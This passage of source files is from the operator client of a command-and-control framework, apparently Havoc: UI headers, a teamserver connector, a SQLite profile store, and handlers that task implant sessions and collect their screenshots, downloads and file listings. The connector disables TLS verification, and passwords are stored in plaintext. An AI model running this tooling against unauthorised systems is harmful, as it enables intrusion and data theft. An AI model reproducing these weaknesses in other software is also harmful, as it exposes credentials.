    "content": "#ifndef HAVOC_STORE_HPP\n#define HAVOC_STORE_HPP\n\n#include <QtWidgets/QWidget>\n#include <QSplitter>\n#include <QPushButton>\n#include <QHBoxLayout>\n#include <QVBoxLayout>\n#include <QTableWidget>\n#include <QTableWidgetItem>\n#include <QLabel>\n#include <QScrollArea>\n#include <QDir>\n\n#include <QtCore/QVariant>\n#include <QtWidgets/QApplication>\n#include <QtWidgets/QFormLayout>\n#include <QtWidgets/QGridLayout>\n#include <QtWidgets/QHeaderView>\n#include <QtWidgets/QListWidget>\n#include <QtWidgets/QSplitter>\n#include <QtWidgets/QStackedWidget>\n#include <QtWidgets/QTextEdit>\n#include <QtWidgets/QTreeWidget>\n\n#include <QNetworkAccessManager>\n#include <QNetworkRequest>\n#include <QNetworkReply>\n#include <QEventLoop>\n#include <QJsonDocument>\n#include <QJsonObject>\n#include <QJsonValue>\n#include <QJsonArray>\n\nclass Store\n{\npublic:\n    QWidget*            StoreWidget;\n    QHBoxLayout*        horizontalLayout;\n    QSplitter*          StoreSplitter;\n    QTableWidget*       StoreTable;\n\n    QTableWidgetItem    *labelTitle;\n    QTableWidgetItem    *labelAuthor;\n\n    QWidget*            panelStore;\n    QVBoxLayout*        panelLayout;\n\n    QWidget*            root_panelStore;\n    QVBoxLayout*        root_panelLayout;\n    QScrollArea*        panelScroll;\n    QJsonArray*         dataStore;\n\n    QLabel*             headerLabelTitle;\n    QLabel*             panelLabelDescription;\n    QLabel*             panelLabelAuthor;\n    QPushButton*        installButton;\n\n    QGridLayout*    gridLayout;\n    QTextEdit*      StoreLogger;\n\n    void setupUi( QWidget* Store );\n    void displayData( int position );\n    void installScript( int position );\n    bool AddScript( QString Path );\n    void retranslateUi(  );\n};\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/Teamserver.hpp",
    "content": "#ifndef HAVOC_TEAMSERVER_HPP\n#define HAVOC_TEAMSERVER_HPP\n\n#include <QtCore/QVariant>\n#include <QtWidgets/QApplication>\n#include <QtWidgets/QFormLayout>\n#include <QtWidgets/QGridLayout>\n#include <QtWidgets/QHeaderView>\n#include <QtWidgets/QListWidget>\n#include <QtWidgets/QSplitter>\n#include <QtWidgets/QStackedWidget>\n#include <QtWidgets/QTextEdit>\n#include <QtWidgets/QTreeWidget>\n#include <QtWidgets/QWidget>\n\nclass Teamserver\n{\npublic:\n    QGridLayout*    gridLayout;\n    QWidget*        TeamserverWidget;\n    QTextEdit*      TeamserverLogger;\n\n    void setupUi( QWidget* Teamserver );\n    void retranslateUi(  );\n\n    void AddLoggerText( const QString& Text ) const;\n};\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/TeamserverTabSession.h",
    "content": "#ifndef HAVOC_TEAMSERVERTABSESSION_H\n#define HAVOC_TEAMSERVERTABSESSION_H\n\n#include <global.hpp>\n#include <QStackedWidget>\n#include <QSplitter>\n\n#include <UserInterface/Widgets/LootWidget.h>\n#include <UserInterface/Widgets/SessionGraph.hpp>\n#include <UserInterface/Widgets/Teamserver.hpp>\n#include <UserInterface/Widgets/Store.hpp>\n\n#include <UserInterface/Dialogs/Payload.hpp>\n\nusing namespace HavocNamespace;\n\nclass HavocNamespace::UserInterface::Widgets::TeamserverTabSession : public QWidget\n{\n    typedef struct\n    {\n        UserInterface::SmallWidgets::EventViewer* EventViewer;\n    } SmallAppWidgets_t;\n\npublic:\n    QGridLayout* gridLayout              = {};\n    QGridLayout* gridLayout_2            = {};\n    QWidget*     layoutWidget            = {};\n    QSplitter*   splitter_TopBot         = {};\n    QSplitter*   splitter_SessionAndTabs = {};\n    QVBoxLayout* verticalLayout          = {};\n    QTabWidget*  tabWidget               = {};\n    QTabWidget*  tabWidgetSmall          = {};\n\npublic:\n    Widgets::Chat*                    TeamserverChat      = {};\n    class Teamserver*                 Teamserver          = {};\n    class Store*                      Store               = {};\n    Widgets::SessionTable*            SessionTableWidget  = {};\n    GraphWidget*                      SessionGraphWidget  = {};\n    Widgets::ListenersTable*          ListenerTableWidget = {};\n    Widgets::PythonScriptInterpreter* PythonScriptWidget  = {};\n    Widgets::ScriptManager*           ScriptManagerWidget = {};\n    Payload*                          PayloadDialog       = {};\n    class LootWidget*                 LootWidget          = {};\n    QStackedWidget*                   MainViewWidget      = {};\n    QWidget*                          SessionTablePage    = {};\n    HavocSpace::DBManager*            dbManager           = {};\n    QString                           TeamserverName      = {};\n    QWidget*                          PageWidget          = {};\n    SmallAppWidgets_t*                SmallAppWidgets     = {};\n\n    void setupUi( QWidget* Page, QString TeamserverName );\n    void NewBottomTab( QWidget* TabWidget, const std::string& TitleName, QString IconPath = \"\" ) const;\n    void NewWidgetTab( QWidget* TabWidget, const std::string& TitleName ) const;\n\nprotected slots:\n    void handleDemonContextMenu( const QPoint& pos );\n    void removeTabSmall( int ) const;\n};\n\n#endif\n"
  },
  {
    "path": "client/include/Util/Base.hpp",
    "content": "#ifndef HAVOC_BASE_HPP\n#define HAVOC_BASE_HPP\n\n#include <spdlog/spdlog.h>\n\n#include <QString>\n#include <QFile>\n#include <QIcon>\n#include <QMessageBox>\n#include <QDateTime>\n#include <QTime>\n\nauto FileRead(\n    const QString& FilePath\n) -> QByteArray;\n\nauto MessageBox(\n    QString           Title,\n    QString           Text,\n    QMessageBox::Icon Icon\n) -> void;\n\nauto WinVersionIcon(\n    QString OSVersion,\n    bool    High\n) -> QIcon;\n\nauto WinVersionImage(\n    QString OSVersion,\n    bool    High\n) -> QImage;\n\nauto GrayScale(\n    QImage image\n) -> QImage;\n\nauto CurrentDateTime(\n    void\n) -> QString;\n\nauto CurrentTime(\n        void\n) -> QString;\n\n#endif\n"
  },
  {
    "path": "client/include/Util/Base64.h",
    "content": "#ifndef HAVOC_BASE64_H\n#define HAVOC_BASE64_H\n\n#include <string>\n#include <global.hpp>\n\nstd::string HavocNamespace::Util::base64_encode(const char* buf, unsigned int bufLen);\n\n#endif\n"
  },
  {
    "path": "client/include/Util/ColorText.h",
    "content": "#ifndef HAVOC_COLORTEXT_H\n#define HAVOC_COLORTEXT_H\n\n#include <global.hpp>\n\nclass HavocNamespace::Util::ColorText {\npublic:\n    struct Colors {\n        struct Hex {\n            static QString Background;\n                static QString Foreground;\n            static QString CurrentLine;\n            static QString Comment;\n\n            static QString Cyan;\n            static QString Green;\n            static QString Orange;\n            static QString Pink;\n            static QString Purple;\n            static QString Red;\n            static QString Yellow;\n\n            static QString SessionCyan;\n            static QString SessionGreen;\n            static QString SessionOrange;\n            static QString SessionPink;\n            static QString SessionPurple;\n            static QString SessionRed;\n            static QString SessionYellow;\n        };\n    };\n\n    static void SetDraculaDark();\n    static void SetDraculaLight();\n\n    static QString Color(const QString& color, const QString& text);\n    static QString Background(const QString&);\n    static QString Foreground(const QString&);\n    static QString Comment(const QString&);\n    static QString Cyan(const QString&);\n    static QString Green(const QString&);\n    static QString Orange(const QString&);\n    static QString Pink(const QString&);\n    static QString Purple(const QString&);\n    static QString Red(const QString&);\n    static QString Yellow(const QString&);\n\n    static QString Underline(const QString& text);\n    static QString UnderlineBackground(const QString& text);\n    static QString UnderlineForeground(const QString& text);\n    static QString UnderlineComment(const QString& text);\n    static QString UnderlineCyan(const QString& text);\n    static QString UnderlineGreen(const QString& text);\n    static QString UnderlineOrange(const QString& text);\n    static QString UnderlinePink(const QString& text);\n    static QString UnderlinePurple(const QString& text);\n    static QString UnderlineRed(const QString& text);\n    static QString UnderlineYellow(const QString& text);\n\n    static QString Bold(const QString& text);\n};\n\n#endif //HAVOC_COLORTEXT_H\n"
  },
  {
    "path": "client/include/global.hpp",
    "content": "#ifndef HAVOC_GLOBAL_HPP\n#define HAVOC_GLOBAL_HPP\n\n#include <QApplication>\n#include <QMainWindow>\n#include <QtNetwork/QTcpSocket>\n#include <QtCore/QVariant>\n#include <QtGui/QIcon>\n#include <QAction>\n#include <QFormLayout>\n#include <QGridLayout>\n#include <QLabel>\n#include <QMenu>\n#include <QDate>\n#include <QMenuBar>\n#include <QPushButton>\n#include <QSpacerItem>\n#include <QTabWidget>\n#include <QWidget>\n#include <QDialog>\n#include <QtNetwork/QTcpSocket>\n#include <QtNetwork/QTcpServer>\n#include <QMessageBox>\n#include <QJsonDocument>\n#include <QJsonObject>\n#include <QLineEdit>\n#include <QTextEdit>\n#include <QTableWidget>\n#include <QTextCodec>\n\n#include <string>\n#include <map>\n#include <iostream>\n#include <any>\n\n#include <External.h>\n\n#include <Havoc/Service.hpp>\n#include <UserInterface/Widgets/FileBrowser.hpp>\n#include <Util/Base.hpp>\n\n#pragma push_macro(\"slots\")\n#undef slots\n#include <Python.h>\n#pragma pop_macro(\"slots\")\n\ntypedef uint32_t            u32;\ntypedef uint64_t            u64;\n\n/* windows habit lol */\ntypedef char*               PCHAR;\ntypedef char                BYTE;\ntypedef void*               PVOID;\ntypedef void*               LPVOID;\ntypedef unsigned long int   UINT_PTR;\n\n/* std typedefs */\ntypedef std::map<std::string, std::string> MapStrStr;\ntypedef std::map<std::string, std::any>    MapStrAny;\n\n/* TODO: rewrite everything.\n *       this is a stupid design\n *       move every class into its own header\n *       remove this namespace */\n\nnamespace HavocNamespace\n{\n    extern std::string Version;\n    extern std::string CodeName;\n\n    namespace Util\n    {\n        class ColorText;\n\n        std::string base64_encode( const char* buf, unsigned int bufLen );\n        std::string gen_random( const int len );\n\n        typedef struct RegisteredCommand\n        {\n            /* for what agent is it this command */\n            std::string     Agent;\n            std::string     Module;\n            std::string     Command;\n            std::string     Help;\n            u32             Behaviour;\n            std::string     Usage;\n            std::string     Example;\n            void*           Function;\n            std::string     Path;\n\n        } RegisteredCommand ;\n\n        typedef struct RegisteredModule\n        {\n            /* for what agent is it this command */\n            std::string Agent;\n\n            std::string Name;\n            std::string Description;\n            std::string Behavior;\n            std::string Usage;\n            std::string Example;\n\n        } RegisteredModule;\n\n        typedef struct ListenerItem\n        {\n            std::string Name;\n            std::string Protocol;\n            std::string Status;\n\n            std::any    Info;\n        } ListenerItem;\n    };\n\n    namespace UserInterface\n    {\n        class HavocUi;\n\n        namespace Dialogs {\n            class Connect;\n            class NewListener;\n        }\n\n        // Widgets\n        namespace Widgets {\n            class Chat;\n            class SessionTable;\n            class ListenersTable;\n            class CredentialsTable;\n            class TeamserverTabSession;\n            class ProcessList;\n            class PythonScriptInterpreter;\n            class ScriptManager;\n        }\n\n        namespace SmallWidgets {\n            class EventViewer;\n        }\n\n    };\n\n    namespace HavocSpace {\n\n        struct Listener {\n\n            static QString PayloadHTTPS;\n            static QString PayloadHTTP;\n            static QString PayloadSMB;\n            static QString PayloadExternal;\n\n            typedef struct\n            {\n                QStringList Hosts;\n                QString     HostBind;\n                QString     HostRotation;\n                QString     PortBind;\n                QString     PortConn;\n                QString     UserAgent;\n                QStringList Headers;\n                QStringList Uris;\n                QString     HostHeader;\n                QString     Secure;\n                QString     ProxyEnabled;\n                QString     ProxyType;\n                QString     ProxyHost;\n                QString     ProxyPort;\n                QString     ProxyUsername;\n                QString     ProxyPassword;\n            } HTTP;\n\n            typedef struct\n             {\n                QString PipeName;\n            } SMB;\n\n            typedef struct\n            {\n                QString Endpoint;\n            } External;\n\n            typedef MapStrStr Service;\n        };\n\n        class Packager;\n        class DBManager;\n        class Havoc;\n    }\n\n    extern HavocNamespace::HavocSpace::Havoc* HavocApplication;\n};\n\nnamespace HavocNamespace\n{\n    class Connector;\n\n    namespace UserInterface::Widgets\n    {\n        class DemonInteracted;\n    }\n\n    namespace HavocSpace\n    {\n        class DemonCommands;\n    };\n\n    namespace Util\n    {\n        typedef struct\n        {\n\n            QString TeamserverID;\n            QString Name;\n            u64     MagicValue;\n            QString External;\n            QString Internal;\n            QString Listener;\n            QString User;\n            QString Computer;\n            QString Domain;\n            QString OS;\n            QString OSBuild;\n            QString OSArch;\n            QString Process;\n            QString PID;\n            QString Arch;\n            QString First;\n            QString Last;\n            QDateTime LastUTC;\n            QString Elevated;\n            QString PivotParent;\n            QString Marked;\n            QString Health;\n            u32     SleepDelay;\n            u32     SleepJitter;\n            u64     KillDate;\n            u32     WorkingHours;\n\n            UserInterface::Widgets::DemonInteracted* InteractedWidget;\n            UserInterface::Widgets::ProcessList*     ProcessList;\n            class FileBrowser*                             FileBrowser;\n\n            std::map<QString, PyObject*> TaskIDToPythonCallbacks;\n\n            void Export();\n        } SessionItem;\n\n        typedef struct\n        {\n            QString Name;\n            QString Host;\n            QString Port;\n            QString User;\n            QString Password;\n\n            std::vector<ListenerItem>      Listeners;\n            std::vector<json>              RegisteredListeners;\n            std::vector<SessionItem>       Sessions;\n            std::vector<RegisteredCommand> RegisteredCommands;\n            std::vector<RegisteredModule>  RegisteredModules;\n            std::vector<PyObject*>         RegisteredCallbacks;\n            std::vector<ServiceAgent>      ServiceAgents;\n\n            QStringList   AddedCommands;\n            QJsonDocument DemonConfig;\n            QStringList   IpAddresses;\n            std::string   LoadingScript;\n\n            UserInterface::Widgets::TeamserverTabSession* TabSession;\n        } ConnectionInfo;\n    };\n}\n\n// Global Instance\nnamespace HavocX\n{\n    extern bool                                     DebugMode;\n    extern bool                                     GateGUI;\n    extern PyObject*                                callbackGate;\n    extern PyObject*                                callbackMessage;\n    extern HavocNamespace::Util::ConnectionInfo     Teamserver;\n    extern HavocNamespace::UserInterface::HavocUi*  HavocUserInterface;\n    extern HavocNamespace::Connector*               Connector;\n}\n\n#endif\n"
  },
  {
    "path": "client/makefile",
    "content": "MAKEFLAGS += -s\n\nifndef VERBOSE\n.SILENT:\nendif\n\nall:\n\t@ mkdir build; cd build; cmake ..\n\t@ if [ -d \"Modules\" ]; then echo \"Modules installed\"; else git clone https://github.com/HavocFramework/Modules Modules; fi\n\t@ cmake --build build -- -j 4\n\nclean:\n\t@ rm -rf build\n\t@ rm -rf .idea\n\t@ rm -rf cmake-build-debug\n\t@ rm -rf modules\n\t@ rm -rf Havoc\n"
  },
  {
    "path": "client/src/Havoc/Connector.cc",
    "content": "#include <Havoc/Connector.hpp>\n#include <Havoc/Havoc.hpp>\n#include <QCryptographicHash>\n#include <QMap>\n#include <QBuffer>\n\nConnector::Connector( Util::ConnectionInfo* ConnectionInfo )\n{\n    Teamserver   = ConnectionInfo;\n    Socket       = new QWebSocket();\n    auto Server  = \"wss://\" + Teamserver->Host + \":\" + this->Teamserver->Port + \"/havoc/\";\n    auto SslConf = Socket->sslConfiguration();\n\n    /* ignore annoying SSL errors */\n    SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );\n    Socket->setSslConfiguration( SslConf );\n    Socket->ignoreSslErrors();\n\n    QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )\n    {\n        auto Package = HavocSpace::Packager::DecodePackage( Message );\n\n        if ( Package != nullptr )\n        {\n            if ( ! Packager )\n                return;\n\n            Packager->DispatchPackage( Package );\n\n            return;\n        }\n\n        spdlog::critical( \"Got Invalid json\" );\n    } );\n\n    QObject::connect( Socket, &QWebSocket::connected, this, [&]()\n    {\n        this->Packager = new HavocSpace::Packager;\n        this->Packager->setTeamserver( this->Teamserver->Name );\n\n        SendLogin();\n    } );\n\n    QObject::connect( Socket, &QWebSocket::disconnected, this, [&]()\n    {\n        MessageBox( \"Teamserver error\", Socket->errorString(), QMessageBox::Critical );\n\n        Socket->close();\n\n        Havoc::Exit();\n    } );\n\n    Socket->open( QUrl( Server ) );\n}\n\nbool Connector::Disconnect()\n{\n    if ( this->Socket != nullptr )\n    {\n        this->Socket->disconnect();\n        return true;\n    }\n\n    return false;\n}\n\nConnector::~Connector() noexcept\n{\n    delete this->Socket;\n}\n\nvoid Connector::SendLogin()\n{\n    Util::Packager::Package Package;\n\n    Util::Packager::Head_t Head;\n    Util::Packager::Body_t Body;\n\n    Head.Event              = Util::Packager::InitConnection::Type;\n    Head.User               = this->Teamserver->User.toStdString();\n    Head.Time               = CurrentTime().toStdString();\n\n    Body.SubEvent           = Util::Packager::InitConnection::Login;\n    Body.Info[ \"User\" ]     = this->Teamserver->User.toStdString();\n    Body.Info[ \"Password\" ] = QCryptographicHash::hash( this->Teamserver->Password.toLocal8Bit(), QCryptographicHash::Sha3_256 ).toHex().toStdString();\n\n    Package.Head = Head;\n    Package.Body = Body;\n\n    SendPackage( &Package );\n}\n\nvoid Connector::SendPackage( Util::Packager::PPackage Package )\n{\n    Socket->sendBinaryMessage( Packager->EncodePackage( *Package ).toJson( QJsonDocument::Compact ) );\n}\n"
  },
  {
    "path": "client/src/Havoc/DBManger/DBManager.cc",
    "content": "#include <Havoc/DBManager/DBManager.hpp>\n#include <QFileInfo>\n\nusing namespace HavocNamespace::HavocSpace;\n\nint DBManager::OpenSqlFile = 1;\nint DBManager::CreateSqlFile = 2;\n\nDBManager::DBManager( const QString& FilePath, int OpenFlag )\n{\n    auto exists = false;\n    if ( QFileInfo::exists( FilePath ) ) {\n        exists = true;\n    }\n\n    this->DB = QSqlDatabase::addDatabase( \"QSQLITE\" );\n    this->DB.setDatabaseName( FilePath );\n\n    if ( this->DB.open() ) {\n        if ( OpenFlag == DBManager::CreateSqlFile && ! exists ) {\n            if ( this->createNewDatabase() ) {\n                spdlog::info( \"Successful created database\" );\n            } else {\n                spdlog::error( \"Failed to create a new database\" );\n            }\n        }\n    } else {\n        spdlog::error( \"[DB] Failed to open database\" );\n    }\n}\n\nbool DBManager::createNewDatabase()\n{\n    auto query = QSqlQuery();\n    auto error = std::string();\n\n    /* check if the db file is opened */\n    if ( ! DB.isOpen() ) {\n        return false;\n    }\n\n    query.prepare(\n        \"CREATE TABLE \\\"Teamservers\\\" ( \"\n        \"\\\"ID\\\" INTEGER PRIMARY KEY, \"\n        \"\\\"ProfileName\\\" TEXT, \"\n        \"\\\"Host\\\" TEXT, \"\n        \"\\\"Port\\\" INTEGER, \"\n        \"\\\"User\\\" TEXT, \"\n        \"\\\"Password\\\" TEXT \"\n        \");\"\n    );\n    if ( ! query.exec() ) {\n        error = query.lastError().text().toStdString();\n        spdlog::error( \"[DB] Couldn't create Teamserver table: \", error );\n    }\n\n    query.prepare(\n        \"CREATE TABLE \\\"Scripts\\\" ( \"\n        \"\\\"ID\\\" INTEGER PRIMARY KEY, \"\n        \"\\\"Path\\\" TEXT \"\n        \");\"\n    );\n\n    if ( ! query.exec() ) {\n        error = query.lastError().text().toStdString();\n        spdlog::error( \"[DB] Couldn't create Scripts table: \", error );\n        return false;\n    }\n\n    return true;\n}"
  },
  {
    "path": "client/src/Havoc/DBManger/Scripts.cc",
    "content": "#include <Havoc/DBManager/DBManager.hpp>\n\nbool HavocNamespace::HavocSpace::DBManager::AddScript( QString Path )\n{\n    auto query = QSqlQuery();\n    auto error = std::string();\n\n    query.prepare( \"insert into Scripts (Path) values(:Path)\" );\n    query.bindValue( \":Path\", Path );\n\n    if ( ! query.exec() ) {\n        error = query.lastError().text().toStdString();\n        spdlog::error( \"[DB] Failed to add Script: {}\", error );\n        return false;\n    }\n\n    return true;\n}\n\nbool HavocNamespace::HavocSpace::DBManager::RemoveScript( QString Path )\n{\n    auto query = QSqlQuery();\n    auto error = std::string();\n    auto path  = std::string();\n\n    query.prepare( \"delete from Scripts where Path = :Path\" );\n    query.bindValue( \":Path\", Path );\n\n    if ( ! query.exec() ) {\n        error = query.lastError().text().toStdString();\n        path  = Path.toStdString();\n\n        spdlog::error( \"[DB] Couldn't delete {} from Scripts: {}\", path, error );\n\n        return false;\n    }\n\n    return true;\n}\n\nbool HavocNamespace::HavocSpace::DBManager::CheckScript( QString Path )\n{\n    auto query = QSqlQuery();\n    auto error = std::string();\n\n    query.prepare( \"select * from Scripts\" );\n\n    if ( ! query.exec() ) {\n        error = query.lastError().text().toStdString();\n        spdlog::error( \"[DB] Couldn't query Scripts: {}\", error );\n        return false;\n    }\n\n    while ( query.next() )\n    {\n        if ( query.value( \"Path\" ) == Path )\n            return true;\n    }\n\n    return false;\n}\n\nvector<QString> HavocNamespace::HavocSpace::DBManager::GetScripts()\n{\n    auto List  = vector<QString>();\n    auto query = QSqlQuery();\n    auto error = std::string();\n\n    query.prepare( \"select * from Scripts\" );\n\n    if ( ! query.exec() ) {\n        error = query.lastError().text().toStdString();\n        spdlog::error( \"[DB] Couldn't query Scripts: {}\", error );\n        return List;\n    }\n\n    while ( query.next() )\n        List.push_back( query.value(\"Path\").toString() );\n\n    return List;\n}"
  },
  {
    "path": "client/src/Havoc/DBManger/Teamserver.cc",
    "content": "#include <Havoc/DBManager/DBManager.hpp>\n#include <QSqlError>\n\nusing namespace HavocNamespace;\n\nbool HavocSpace::DBManager::addTeamserverInfo( const Util::ConnectionInfo& connection )\n{\n    auto query   = QSqlQuery();\n    auto success = true;\n    auto error   = std::string();\n\n    query.prepare( \"insert into Teamservers (ProfileName, Host, Port, User, Password) values(:ProfileName, :Host, :Port, :User, :Password)\" );\n\n    query.bindValue( \":ProfileName\", connection.Name.toStdString().c_str() );\n    query.bindValue( \":Host\",        connection.Host.toStdString().c_str() );\n    query.bindValue( \":Port\",        connection.Port.toStdString().c_str() );\n    query.bindValue( \":User\",        connection.User.toStdString().c_str() );\n    query.bindValue( \":Password\",    connection.Password.toStdString().c_str() );\n\n    /* print error */\n    if ( ! ( success = query.exec() ) ) {\n        error   = query.lastError().text().toStdString();\n        success = false;\n\n        spdlog::error( \"[DB] Failed to add teamserver info: {}\", error );\n    }\n\n    return success;\n}\n\nbool HavocSpace::DBManager::checkTeamserverExists( const QString& ProfileName )\n{\n    auto query   = QSqlQuery();\n    auto success = false;\n    auto error   = std::string();\n\n    query.prepare( \"select * from Teamservers\" );\n\n    if ( ! query.exec() ) {\n        error = query.lastError().text().toStdString();\n        spdlog::error( \"[DB] Failed to query teamserver existence: {}\", error );\n        return success;\n    }\n\n    while ( query.next() ) {\n        if ( query.value( \"ProfileName\" ) == ProfileName ) {\n            success = true;\n            break;\n        }\n    }\n\n    return success;\n}\n\nbool HavocSpace::DBManager::removeTeamserverInfo( const QString& ProfileName )\n{\n    auto query = QSqlQuery();\n    auto error = std::string();\n    auto name  = std::string();\n\n    query.prepare( \"delete from Teamservers where ProfileName = :ProfileName\" );\n    query.bindValue( \":ProfileName\", ProfileName );\n\n    if ( ! query.exec() ) {\n        error = query.lastError().text().toStdString();\n        name  = ProfileName.toStdString();\n\n        spdlog::error( \"[DB] Failed to deleting teamserver [{}] info: {}\", name, error );\n        return false;\n    }\n\n    return true;\n}\n\nvector<Util::ConnectionInfo> HavocSpace::DBManager::listTeamservers()\n{\n    auto query          = QSqlQuery();\n    auto TeamserverList = vector<Util::ConnectionInfo>();\n    auto error          = std::string();\n\n    query.prepare( \"select * from Teamservers\" );\n\n    if ( ! query.exec() ) {\n        error = query.lastError().text().toStdString();\n\n        spdlog::error( \"[DB] Error while query teamserver list: {}\", error );\n        return TeamserverList;\n    }\n\n    /* iterating over the queried list */\n    while ( query.next() ) {\n        TeamserverList.push_back( {\n            .Name     = query.value( \"ProfileName\" ).toString(),\n            .Host     = query.value( \"Host\" ).toString(),\n            .Port     = query.value( \"Port\" ).toString(),\n            .User     = query.value( \"User\" ).toString(),\n            .Password = query.value( \"Password\" ).toString(),\n        } );\n    }\n\n    return TeamserverList;\n}\n\nbool HavocSpace::DBManager::removeAllTeamservers()\n{\n    auto query = QSqlQuery();\n    auto error = std::string();\n\n    query.prepare( \"delete from Teamservers\" );\n\n    if ( ! query.exec() ) {\n        error = query.lastError().text().toStdString();\n\n        spdlog::error( \"[DB] Error while deleting teamservers: {}\", error );\n\n        return false;\n    }\n\n    return true;\n}\n"
  },
  {
    "path": "client/src/Havoc/Demon/CommandOutput.cc",
    "content": "#include <QJsonDocument>\n#include <QJsonArray>\n\n#include <Havoc/DemonCmdDispatch.h>\n\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n#include <UserInterface/Widgets/ProcessList.hpp>\n\n#include <Util/ColorText.h>\n#include <QFile>\n\nusing namespace HavocNamespace::HavocSpace;\n\nvoid DispatchOutput::MessageOutput( QString JsonString, const QString& Date = \"\" ) const\n{\n    auto JsonDocument = QJsonDocument::fromJson( QByteArray::fromBase64( JsonString.toLocal8Bit( ) ) );\n    auto TaskID       = JsonDocument[ \"TaskID\" ].toString();\n    auto MessageType  = JsonDocument[ \"Type\" ].toString();\n    auto Message      = JsonDocument[ \"Message\" ].toString();\n    auto Output       = JsonDocument[ \"Output\" ].toString();\n\n\n    if ( Message.length() > 0 )\n    {\n        if ( MessageType == \"Error\" || MessageType == \"Erro\" )\n            this->DemonCommandInstance->DemonConsole->TaskError( Message );\n        else if ( MessageType == \"Good\" )\n            this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Green( \"[+]\" ) + \" \" + Message );\n        else if ( MessageType == \"Info\" )\n            this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Cyan( \"[*]\" ) + \" \" + Message );\n        else if ( MessageType == \"Warning\" || MessageType == \"Warn\" )\n            this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Yellow( \"[!]\" ) + \" \" + Message );\n        else\n            this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Purple( \"[^]\" ) + \" \" + Message );\n    }\n\n    if ( ! Output.isEmpty() )\n    {\n        //printf(\"task: %s\\n\", TaskID.toUtf8().constData());\n        if (HavocX::callbackMessage)\n        {\n            PyObject *arglist = Py_BuildValue( \"s\", Output.toUtf8().constData() );\n            PyObject_CallFunctionObjArgs( HavocX::callbackMessage, arglist, NULL );\n            Py_XDECREF( HavocX::callbackMessage );\n            HavocX::callbackMessage = NULL;\n        }\n        this->DemonCommandInstance->DemonConsole->AppendRaw( Output );\n    }\n\n    if ( JsonDocument[ \"MiscType\" ].toString().compare( \"\" ) != 0 )\n    {\n        auto Type = JsonDocument[ \"MiscType\" ].toString();\n        auto Data = JsonDocument[ \"MiscData\" ].toString();\n\n        if ( Type.compare( \"screenshot\" ) == 0 )\n        {\n            auto DecodedData = QByteArray::fromBase64( Data.toLocal8Bit() );\n            auto Name        = JsonDocument[ \"MiscData2\" ].toString();\n\n            HavocX::Teamserver.TabSession->LootWidget->AddScreenshot( DemonCommandInstance->DemonID, Name, Date, DecodedData );\n        }\n        else if ( Type.compare( \"download\" ) == 0 )\n        {\n            auto MiscDataInfo = JsonDocument[ \"MiscData2\" ].toString().split( \";\" );\n            auto Name         = QByteArray::fromBase64( MiscDataInfo[ 0 ].toLocal8Bit() );\n            auto Size         = ( MiscDataInfo[ 1 ] );\n\n            HavocX::Teamserver.TabSession->LootWidget->AddDownload( DemonCommandInstance->DemonID, Name, Size, Date, nullptr );\n        }\n        else if ( Type.compare( \"ProcessUI\" ) == 0 )\n        {\n            for ( auto& Session : HavocX::Teamserver.Sessions )\n            {\n                if ( Session.Name == DemonCommandInstance->DemonID )\n                {\n                    if ( Session.ProcessList )\n                    {\n                        auto Decoded = QByteArray::fromBase64( Data.toLocal8Bit() );\n                        Session.ProcessList->UpdateProcessListJson( QJsonDocument::fromJson( Decoded ) );\n                    }\n                }\n            }\n        }\n        else if ( Type.compare( \"FileExplorer\" ) == 0 )\n        {\n            for ( auto& Session : HavocX::Teamserver.Sessions )\n            {\n                if ( Session.Name == DemonCommandInstance->DemonID )\n                {\n                    if ( Session.FileBrowser )\n                    {\n                        auto Decoded = QByteArray::fromBase64( Data.toLocal8Bit() );\n                        Session.FileBrowser->AddData( QJsonDocument::fromJson( Decoded ) );\n                    }\n                }\n            }\n        }\n        else if ( Type.compare( \"disconnect\" ) == 0 )\n        {\n            HavocX::Teamserver.TabSession->SessionGraphWidget->GraphPivotNodeDisconnect( Data );\n        }\n        else if ( Type.compare( \"reconnect\" ) == 0 )\n        {\n            auto Split = Data.split( \";\" );\n\n            HavocX::Teamserver.TabSession->SessionGraphWidget->GraphPivotNodeReconnect( Split[ 0 ], Split[ 1 ] );\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/Havoc/Demon/CommandSend.cc",
    "content": "#include <Havoc/DemonCmdDispatch.h>\n#include <Havoc/Packager.hpp>\n#include <Havoc/Connector.hpp>\n\n#include <UserInterface/Widgets/DemonInteracted.h>\n\n#include <Util/Base64.h>\n\n#include <QFile>\n\n// TODO: refactor this\n\nauto NewPackageCommand( const QString& TeamserverName, Util::Packager::Body_t Body ) -> void\n{\n    auto Package = new Util::Packager::Package;\n    auto Head = Util::Packager::Head_t {\n        .Event   = Util::Packager::Session::Type,\n        .User    = HavocX::Teamserver.User.toStdString(),\n        .Time    = CurrentTime().toStdString(),\n    };\n\n    Package->Head = Head;\n    Package->Body = Body;\n\n    HavocX::Connector->SendPackage( Package );\n}\n\nauto CommandExecute::FS( const QString& TaskID, QString SubCommand, QString Arguments ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            { \"TaskID\",         TaskID.toStdString() },\n            { \"CommandLine\",    DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n            { \"DemonID\",        DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            { \"CommandID\",      to_string( static_cast<int> ( Commands::FS ) ).c_str() },\n            { \"SubCommand\",     SubCommand.toStdString() },\n            { \"Arguments\",      Arguments.toStdString() },\n        }\n    };\n\n    NewPackageCommand( this->DemonCommandInstance->Teamserver, Body );\n}\n\nauto CommandExecute::Sleep( QString TaskID, QString seconds ) -> void\n{\n    auto Body = Util::Packager::Body_t {\n        .SubEvent = Util::Packager::Session::SendCommand,\n        .Info = {\n            { \"TaskID\",         TaskID.toStdString() },\n            { \"CommandLine\",    DemonCommandInstance->CommandInputList[ TaskID ].toStdString() },\n            { \"DemonID\",        DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() },\n            { \"CommandID\",      to_string( 